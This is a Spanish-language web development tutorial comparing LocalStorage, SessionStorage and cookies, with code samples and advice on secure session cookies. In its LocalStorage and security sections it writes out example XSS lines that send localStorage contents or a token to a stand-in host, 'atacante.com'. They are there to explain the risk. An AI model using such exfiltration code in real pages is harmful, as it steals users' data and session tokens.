Cuando una aplicación web necesita guardar datos en el navegador del usuario, tiene tres opciones principales: LocalStorage, SessionStorage y Cookies. Las tres almacenan información en el cliente, pero funcionan de forma completamente distinta en cuanto a duración, capacidad, accesibilidad desde el servidor y casos de uso adecuados.
Elegir la opción equivocada puede provocar desde bugs difíciles de reproducir hasta vulnerabilidades de seguridad serias. En esta guía entenderás cómo funciona cada una, cuándo usarla y cuándo evitarla.
El problema que resuelven: HTTP es sin estado
HTTP es un protocolo sin estado (stateless): cada petición al servidor es independiente y el servidor no recuerda nada de peticiones anteriores. Si el usuario inicia sesión en una página y navega a otra, el servidor no sabe que es el mismo usuario a menos que el navegador le envíe alguna prueba de identidad.
Los mecanismos de almacenamiento en el cliente existen para persistir información entre peticiones y entre visitas, de modo que la aplicación pueda recordar preferencias, sesiones, carritos de compra o cualquier otro estado relevante.
LocalStorage
LocalStorage almacena datos como pares clave-valor en el navegador sin fecha de expiración. Los datos persisten incluso después de cerrar el navegador y apagar el ordenador. Solo desaparecen si el usuario los borra manualmente, si el sitio los elimina explícitamente o si el usuario limpia los datos del navegador.
Su capacidad es de aproximadamente 5 MB por origen (dominio + protocolo + puerto), lo que es mucho más que las cookies. Solo es accesible desde JavaScript en el navegador: el servidor nunca lo ve a menos que el propio código JavaScript decida enviarlo en una petición.
// Guardar datos
localStorage.setItem('tema', 'oscuro');
localStorage.setItem('idioma', 'es');
localStorage.setItem('usuario', JSON.stringify({ nombre: 'Ana', rol: 'admin' }));
// Leer datos
const tema = localStorage.getItem('tema');
const usuario = JSON.parse(localStorage.getItem('usuario'));
console.log(tema); // 'oscuro'
console.log(usuario.nombre); // 'Ana'
// Verificar si existe
if (localStorage.getItem('tema') !== null) {
console.log('El tema está guardado');
}
// Eliminar una clave
localStorage.removeItem('idioma');
// Eliminar todo
localStorage.clear();
// Iterar sobre todas las claves
for (let i = 0; i < localStorage.length; i++) {
const clave = localStorage.key(i);
console.log(clave, localStorage.getItem(clave));
}LocalStorage solo almacena cadenas de texto. Para guardar objetos o arrays debes serializarlos con JSON.stringify() y deserializarlos con JSON.parse() al leerlos.
Cuándo usar LocalStorage
- Preferencias de usuario que deben persistir entre visitas: tema claro/oscuro, idioma, tamaño de fuente.
- Datos de configuración de la aplicación que no son sensibles.
- Caché de datos para reducir peticiones al servidor: guardar el resultado de una API para no volver a pedirlo en cada visita.
- Progreso de un formulario largo que el usuario puede completar en varias sesiones.
Cuándo NO usar LocalStorage
- Nunca para tokens de autenticación ni información sensible. LocalStorage es accesible por cualquier JavaScript que se ejecute en la página. Un ataque XSS (Cross-Site Scripting) puede robar todo su contenido con una sola línea:
fetch('https://atacante.com?d=' + JSON.stringify(localStorage)). - Datos que el servidor necesita conocer en cada petición: el servidor no tiene acceso a LocalStorage.
SessionStorage
SessionStorage funciona exactamente igual que LocalStorage en cuanto a API y capacidad, con una diferencia crítica: los datos solo duran mientras la pestaña del navegador está abierta. Al cerrar la pestaña, los datos desaparecen. Si el usuario abre la misma URL en otra pestaña, esa pestaña tiene su propio SessionStorage completamente independiente.
// La API es idéntica a LocalStorage
sessionStorage.setItem('paso-actual', '3');
sessionStorage.setItem('datos-formulario', JSON.stringify({
nombre: 'Carlos',
email: 'carlos@mail.com'
}));
const paso = sessionStorage.getItem('paso-actual');
const datos = JSON.parse(sessionStorage.getItem('datos-formulario'));
console.log(paso); // '3'
console.log(datos.email); // 'carlos@mail.com'
sessionStorage.removeItem('paso-actual');
sessionStorage.clear();
El aislamiento por pestaña
Este comportamiento es una característica, no un bug. Significa que puedes abrir la misma aplicación en dos pestañas sin que interfieran entre sí. Cada una tiene su propio estado independiente.
// Pestaña 1
sessionStorage.setItem('carrito', JSON.stringify(['producto-A', 'producto-B']));
// Pestaña 2 (misma URL, mismo navegador)
console.log(sessionStorage.getItem('carrito')); // null ← no ve los datos de la pestaña 1
Cuándo usar SessionStorage
- Formularios de varios pasos donde quieres guardar el progreso temporalmente pero que desaparezca si el usuario cierra la ventana.
- Filtros o estado de búsqueda que tiene sentido para la sesión actual pero no para la próxima visita.
- Datos temporales de un flujo de pago o de onboarding.
- Aplicaciones donde múltiples pestañas deben funcionar de forma independiente.
Cookies
Las cookies son el mecanismo más antiguo y completo de los tres. Existen desde 1994 y fueron diseñadas específicamente para resolver el problema del estado en HTTP. A diferencia de LocalStorage y SessionStorage, las cookies se envían automáticamente al servidor en cada petición HTTP que se haga al dominio que las creó. Esto las hace fundamentalmente diferentes: son el único mecanismo de los tres que el servidor puede leer sin que JavaScript tenga que hacer nada.
Su capacidad es mucho menor: alrededor de 4 KB por cookie. Pero lo que les falta en tamaño lo compensan con opciones de seguridad y control que LocalStorage no tiene.
Crear y leer cookies con JavaScript
// Crear una cookie básica (expira al cerrar el navegador si no se especifica fecha)
document.cookie = "tema=oscuro";
// Cookie con fecha de expiración (en GMT)
const expiracion = new Date();
expiracion.setDate(expiracion.getDate() + 30); // 30 días desde hoy
document.cookie = `idioma=es; expires=${expiracion.toUTCString()}; path=/`;
// Cookie con Max-Age (en segundos, más moderno que expires)
document.cookie = "preferencia=grid; max-age=604800; path=/"; // 7 días
// Leer cookies (devuelve todas como una cadena)
console.log(document.cookie); // "tema=oscuro; idioma=es; preferencia=grid"
// Para leer una cookie específica necesitas parsearla manualmente
function getCookie(nombre) {
const valor = `; ${document.cookie}`;
const partes = valor.split(`; ${nombre}=`);
if (partes.length === 2) return partes.pop().split(';').shift();
return null;
}
console.log(getCookie('idioma')); // 'es'
// Eliminar una cookie: se le pone una fecha de expiración en el pasado
document.cookie = "idioma=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/";
La API nativa de cookies en JavaScript es notoriamente incómoda. En proyectos reales se usa la librería js-cookie para simplificarla:
// Con js-cookie (npm install js-cookie)
import Cookies from 'js-cookie';
Cookies.set('tema', 'oscuro', { expires: 30 }); // expira en 30 días
Cookies.set('sesion', 'abc123', { expires: 1 }); // expira en 1 día
const tema = Cookies.get('tema'); // 'oscuro'
Cookies.remove('sesion');
Los atributos de seguridad de las cookies
Esta es la ventaja más importante de las cookies sobre LocalStorage y SessionStorage: tienen atributos de seguridad que el desarrollador puede configurar para proteger los datos.
HttpOnly: la cookie no es accesible desde JavaScript. Solo el servidor puede leerla y escribirla. Esto la hace completamente inmune a ataques XSS. Es el atributo más importante para cookies de autenticación.
Secure: la cookie solo se envía al servidor si la conexión es HTTPS. Evita que se transmita en texto plano sobre HTTP.
SameSite: controla cuándo se envía la cookie en peticiones entre sitios, protegiendo contra ataques CSRF (Cross-Site Request Forgery). Sus valores son Strict (solo en el mismo sitio), Lax (valor por defecto en navegadores modernos) y None (se envía en todos los contextos, requiere Secure).
// Ejemplo de cookie de sesión segura (se configura en el servidor)
// Node.js + Express con cookie-session
app.use(cookieSession({
name: 'sesion',
secret: process.env.SECRET_KEY,
maxAge: 24 * 60 * 60 * 1000, // 24 horas
httpOnly: true, // no accesible desde JavaScript
secure: true, // solo HTTPS
sameSite: 'lax' // protección CSRF
}));
Una cookie con HttpOnly no aparece en document.cookie ni en las DevTools de JavaScript. Solo es visible en la pestaña de red del navegador y en las DevTools de cookies. Esto la hace la única opción realmente segura para almacenar tokens de sesión.
Cuándo usar Cookies
- Tokens de sesión y autenticación, siempre con
HttpOnlyySecure. Es la única forma segura de gestionar sesiones en el navegador. - Datos que el servidor necesita leer en cada petición sin que JavaScript intervenga.
- Seguimiento y analítica (aunque con las restricciones de privacidad actuales esto está cada vez más limitado).
- Preferencias que el servidor necesita conocer para hacer Server-Side Rendering correcto, como el idioma o la región.
Comparativa directa
| Característica | LocalStorage | SessionStorage | Cookies |
|---|---|---|---|
| Capacidad | ~5 MB | ~5 MB | ~4 KB |
| Duración | Permanente | Hasta cerrar la pestaña | Configurable (sesión o fecha) |
| Accesible desde JS | Sí | Sí | Sí (salvo HttpOnly) |
| Enviado al servidor | No | No | Sí, automáticamente |
| Compartido entre pestañas | Sí | No | Sí |
| Compartido entre subdominios | No | No | Configurable con Domain |
| Protección XSS | No | No | Sí con HttpOnly |
| Protección CSRF | No aplica | No aplica | Sí con SameSite |
| Funciona sin JS | No | No | Sí |
Seguridad: el error más común
El error más frecuente y peligroso en aplicaciones web modernas es guardar tokens JWT u otros tokens de autenticación en LocalStorage. Es una práctica extendida en tutoriales y ejemplos de código, pero es insegura.
El motivo es simple: cualquier script JavaScript que se ejecute en tu página puede leer LocalStorage. Esto incluye scripts de terceros (analítica, widgets, plugins), extensiones del navegador malintencionadas y, sobre todo, código inyectado mediante XSS. Un solo campo de texto sin sanitizar en tu aplicación puede convertirse en una puerta de entrada para robar todos los tokens de todos tus usuarios.
// INSEGURO: guardar el token en LocalStorage
localStorage.setItem('token', 'eyJhbGciOiJIUzI1NiIsInR...');
// Con un XSS, el atacante puede hacer esto:
const token = localStorage.getItem('token');
fetch('https://atacante.com/robar?t=' + token);
// SEGURO: el servidor guarda el token en una cookie HttpOnly
// El navegador lo envía automáticamente en cada petición
// JavaScript nunca puede leerlo ni robarlo
La arquitectura correcta para autenticación es:
- El usuario envía credenciales al servidor.
- El servidor valida y devuelve una cookie
HttpOnly+Secure+SameSite=Laxcon el token de sesión. - El navegador envía esa cookie automáticamente en cada petición subsiguiente.
- JavaScript nunca toca el token. No puede leerlo, no puede robarlo.
Patrón recomendado: una función de almacenamiento unificada
En proyectos reales es útil abstraer el almacenamiento detrás de una capa que centralice la lógica, facilite el cambio entre mecanismos y maneje errores (por ejemplo, cuando el usuario tiene el almacenamiento bloqueado).
// storage.js
const storage = {
get(clave) {
try {
const valor = localStorage.getItem(clave);
return valor ? JSON.parse(valor) : null;
} catch {
return null;
}
},
set(clave, valor) {
try {
localStorage.setItem(clave, JSON.stringify(valor));
return true;
} catch (e) {
// Puede fallar si el almacenamiento está lleno o bloqueado
console.warn('No se pudo guardar en localStorage:', e);
return false;
}
},
remove(clave) {
try {
localStorage.removeItem(clave);
} catch { /* silencioso */ }
},
clear() {
try {
localStorage.clear();
} catch { /* silencioso */ }
}
};
export default storage;
// Uso
import storage from './storage';
storage.set('configuracion', { tema: 'oscuro', idioma: 'es' });
const config = storage.get('configuracion');
console.log(config.tema); // 'oscuro'
Detección de disponibilidad
En algunos contextos LocalStorage y SessionStorage no están disponibles: navegación privada en ciertos navegadores, iframes de terceros con políticas restrictivas, o usuarios que han bloqueado el almacenamiento. Siempre es buena práctica verificar antes de usarlos.
function storageDisponible(tipo) {
try {
const almacenamiento = window[tipo];
const prueba = '__test__';
almacenamiento.setItem(prueba, prueba);
almacenamiento.removeItem(prueba);
return true;
} catch {
return false;
}
}
if (storageDisponible('localStorage')) {
localStorage.setItem('tema', 'oscuro');
} else {
console.warn('localStorage no disponible, usando alternativa.');
// Fallback: guardar en memoria, en una variable de módulo, etc.
}
Resumen: cuál usar en cada situación
- Tokens de sesión y autenticación: cookies con
HttpOnly+Secure+SameSite. Sin excepciones. - Preferencias persistentes del usuario (tema, idioma, configuración): LocalStorage.
- Estado temporal de un flujo (pasos de un formulario, filtros de búsqueda, carrito temporal): SessionStorage.
- Datos que el servidor necesita leer sin JavaScript: cookies.
- Caché de respuestas de API no sensibles: LocalStorage con control de expiración manual.
- Estado que no debe compartirse entre pestañas: SessionStorage.
La regla de oro es sencilla: si el dato es sensible o tiene que ver con la autenticación, usa cookies con los atributos de seguridad correctos. Si es una preferencia de interfaz o un estado temporal no sensible, LocalStorage o SessionStorage son la opción más sencilla y adecuada.
No hay comentarios todavía. Sé el primero en compartir tu opinión.